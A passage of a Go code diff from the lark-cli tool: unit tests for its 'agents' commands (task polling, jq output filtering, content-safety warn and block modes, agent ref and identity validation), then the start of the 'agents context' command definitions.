// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
|
||||
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
|
||||
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
|
||||
// most recent task with a nil error (not a failure).
|
||||
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
|
||||
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.getTask, "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagents.StateWorking {
|
||||
t.Fatalf("should return the working task observed before interruption, got %+v", task)
|
||||
}
|
||||
if p.calls != 1 {
|
||||
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
|
||||
// returns its value; a command without the flag returns "".
|
||||
func TestJqExpr(t *testing.T) {
|
||||
withFlag := &cobra.Command{Use: "get"}
|
||||
withFlag.Flags().String("jq", "", "")
|
||||
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := jqExpr(withFlag); got != ".state" {
|
||||
t.Errorf("with a --jq flag it should return its value, got %q", got)
|
||||
}
|
||||
|
||||
noFlag := &cobra.Command{Use: "list"}
|
||||
if got := jqExpr(noFlag); got != "" {
|
||||
t.Errorf("without a --jq flag it should return empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// newEmitCmd builds a `lark-cli agents <name>` command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning to engage) and optionally
|
||||
// registers a --jq flag with the given value.
|
||||
func newEmitCmd(name, jq string) *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
agentGroup := &cobra.Command{Use: "agents"}
|
||||
leaf := &cobra.Command{Use: name}
|
||||
root.AddCommand(agentGroup)
|
||||
agentGroup.AddCommand(leaf)
|
||||
if jq != "" {
|
||||
leaf.Flags().String("jq", "", "")
|
||||
_ = leaf.Flags().Set("jq", jq)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// emitFactory returns a Factory writing to fresh out/err buffers.
|
||||
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
|
||||
ResolvedIdentity: core.AsBot,
|
||||
}
|
||||
return f, out, errOut
|
||||
}
|
||||
|
||||
// csProvider is a content-safety provider stub returning a fixed alert.
|
||||
type csProvider struct{ alert *extcs.Alert }
|
||||
|
||||
func (p *csProvider) Name() string { return "test" }
|
||||
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
|
||||
return p.alert, nil
|
||||
}
|
||||
|
||||
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
|
||||
// lands on stdout with ok=true and the identity.
|
||||
func TestEmitTask_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
|
||||
|
||||
next := []output.NextAction{{Label: "poll", Command: "lark-cli agents task get example:x chat_1"}}
|
||||
if err := emitTask(f, cmd, task, next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
|
||||
t.Errorf("meta.next should appear in the output: %s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
|
||||
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
|
||||
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
|
||||
// inputs the branch can receive.
|
||||
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
next []output.NextAction
|
||||
}{
|
||||
{"nil next", nil},
|
||||
{"empty non-nil next", []output.NextAction{}},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.Meta != nil {
|
||||
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
|
||||
}
|
||||
if strings.Contains(out.String(), `"meta"`) {
|
||||
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
|
||||
func TestEmitTask_JqFilter(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("jq filtering should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq .data.state should output working, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
|
||||
func TestEmitTask_JqFilterError(t *testing.T) {
|
||||
f, _, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
|
||||
t.Fatal("a malformed jq expression should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
|
||||
// without blocking output.
|
||||
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
|
||||
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
|
||||
// still filters stdout.
|
||||
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, errOut := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn+jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq output should be working, got %q", got)
|
||||
}
|
||||
if !strings.Contains(errOut.String(), "content safety alert") {
|
||||
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
|
||||
// to stdout.
|
||||
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
|
||||
|
||||
err := emitTask(f, cmd, task, nil, "json")
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
|
||||
// which exercise the json path only.
|
||||
func noPretty(io.Writer) {}
|
||||
|
||||
// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
|
||||
// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
|
||||
// lands on stdout.
|
||||
func TestScanAndEmitData_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
|
||||
|
||||
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 1 {
|
||||
t.Errorf("meta.count should be 1, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
|
||||
// emit helper now runs content-safety scanning (these payloads carry untrusted
|
||||
// agent text): in block mode it returns the typed block error and writes
|
||||
// nothing.
|
||||
func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
|
||||
|
||||
err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
|
||||
// attached to the envelope without blocking output.
|
||||
func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
|
||||
|
||||
if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
|
||||
// summaries carry untrusted agent text, so a block-mode content-safety hit
|
||||
// aborts the emit with the typed block error and writes nothing (task list used
|
||||
// to PrintJson directly and bypass scanning).
|
||||
func TestTaskListContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
opts, _ := taskTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listTasks: func(string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
|
||||
return []iagents.TaskSummary{{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"}}, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
err := agentTaskListRun(opts)
|
||||
if err == nil || !errs.IsContentSafety(err) {
|
||||
t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
|
||||
}
|
||||
if len(out.Bytes()) > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
|
||||
// active_task.Summary is untrusted agent text.
|
||||
func TestContextGetContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
|
||||
return &iagents.ContextDetail{
|
||||
ContextID: ctxID, TaskCount: iagents.Int(1),
|
||||
ActiveTask: &iagents.TaskSummary{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
err := agentContextGetRun(opts)
|
||||
if err == nil || !errs.IsContentSafety(err) {
|
||||
t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
|
||||
}
|
||||
if len(out.Bytes()) > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
|
||||
}
|
||||
}
|
||||
|
||||
// resolveCmd builds an `agents card` command carrying an `--as` flag. When
|
||||
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
|
||||
// the passed identity verbatim (needed to exercise the identity-check branch).
|
||||
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agents"}
|
||||
leaf := &cobra.Command{Use: "card"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if asChanged {
|
||||
if err := leaf.Flags().Set("as", asVal); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// TestResolveSpec_Success resolves a valid example ref under an explicit bot
|
||||
// identity and returns a non-nil spec offline (no client).
|
||||
func TestResolveSpec_Success(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("a valid ref + bot should succeed: %v", err)
|
||||
}
|
||||
if spec == nil || spec.Send.Handler == nil {
|
||||
t.Fatal("should return a non-nil spec with core hooks")
|
||||
}
|
||||
if prov.Scheme != "example" || agentID != "echo" {
|
||||
t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
|
||||
}
|
||||
if id != core.AsBot {
|
||||
t.Errorf("identity should be bot, got %s", id)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
|
||||
// invalid_argument validation error (exit 2).
|
||||
func TestResolveSpec_MalformedRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// A malformed ref teaches the <scheme>:<agent_id> shape.
|
||||
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
|
||||
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
|
||||
func TestResolveSpec_UnknownScheme(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || !strings.Contains(p.Hint, "agents list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agents list`, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
|
||||
// framework validates it offline (a change from the old construct-only path).
|
||||
func TestResolveSpec_UnknownCatalogID(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
|
||||
if err == nil || spec != nil {
|
||||
t.Fatal("an unknown catalog id should error with a nil spec")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
|
||||
// unsupported --as is explicitly requested; no spec is returned.
|
||||
func TestResolveSpec_IdentityRejected(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "admin")
|
||||
|
||||
_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should error")
|
||||
}
|
||||
if spec != nil {
|
||||
t.Error("should not return a spec when identity validation fails")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
|
||||
func TestRuntimeFor_APIClientError(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
|
||||
|
||||
if _, err := runtimeFor(f, core.AsBot, "echo", nil); err == nil {
|
||||
t.Fatal("a Config error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
|
||||
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
|
||||
// pin that the API-free paths never reach the config gate.
|
||||
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
|
||||
return f
|
||||
}
|
||||
|
||||
// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
|
||||
// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
|
||||
// while runtimeFor (the client path) still fails at the config gate.
|
||||
func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
|
||||
}
|
||||
if spec == nil || id != core.AsBot {
|
||||
t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
|
||||
}
|
||||
if _, err := runtimeFor(f, id, "echo", nil); err == nil {
|
||||
t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
|
||||
// scheme is a validation error (exit 2) even when unconfigured — it must not be
|
||||
// masked by not_configured.
|
||||
func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
for _, ref := range []string{"no-colon", "nope:agt_x"} {
|
||||
_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
|
||||
if err == nil {
|
||||
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
|
||||
// card` is statically synthesized and must succeed unconfigured, never hitting
|
||||
// the config gate.
|
||||
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
|
||||
t.Fatalf("agents card should succeed when unconfigured (API-free): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
|
||||
// `agents send --dry-run` is a client-side preview and must succeed
|
||||
// unconfigured — the example echo card declares no parameters, so no --param is
|
||||
// needed. A malformed --param must still surface as validation, unconfigured.
|
||||
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
|
||||
}
|
||||
|
||||
// A malformed --param (no '=') is still a validation error, unconfigured.
|
||||
err = agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
|
||||
Params: []string{"noequals"}, DryRun: true, As: "bot",
|
||||
})
|
||||
if err == nil || !errs.IsValidation(err) {
|
||||
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
|
||||
}
|
||||
}
|
||||
316
cmd/agents/context.go
Normal file
316
cmd/agents/context.go
Normal file
@@ -0,0 +1,316 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextOptions holds all inputs for the `agents context list|get|delete`
|
||||
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
|
||||
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
|
||||
type contextOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
CtxID string
|
||||
Params []string
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
PageSize int
|
||||
PageToken string
|
||||
}
|
||||
|
||||
// NewCmdAgentContext builds the `agents context` command group: manage a remote
|
||||
// agent's multi-turn contexts (each verb gated on its own capability:
|
||||
// context_list / context_get / context_delete). It is a pure group with
|
||||
// no RunE so an unknown subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "context",
|
||||
Short: "Manage a remote agent's multi-turn contexts (sessions)",
|
||||
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentContextList(f))
|
||||
cmd.AddCommand(NewCmdAgentContextGet(f))
|
||||
cmd.AddCommand(NewCmdAgentContextDelete(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextList builds `agents context list <ref>`: enumerate the
|
||||
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
|
||||
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's multi-turn contexts",
|
||||
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validatePageSize(opts.PageSize); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentContextListRun(opts)
|
||||
},
|
||||
}
|
||||
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextGet builds `agents context get <ref> <ctx-id>`: fetch a
|
||||
// single context's detail. Risk=read.
|
||||
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <ctx-id>",
|
||||
Short: "Show the detail of a single multi-turn context",
|
||||
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextGetRun(opts)
|
||||
},
|
||||
}
|
||||
addParamFlag(cmd, &opts.Params)
|
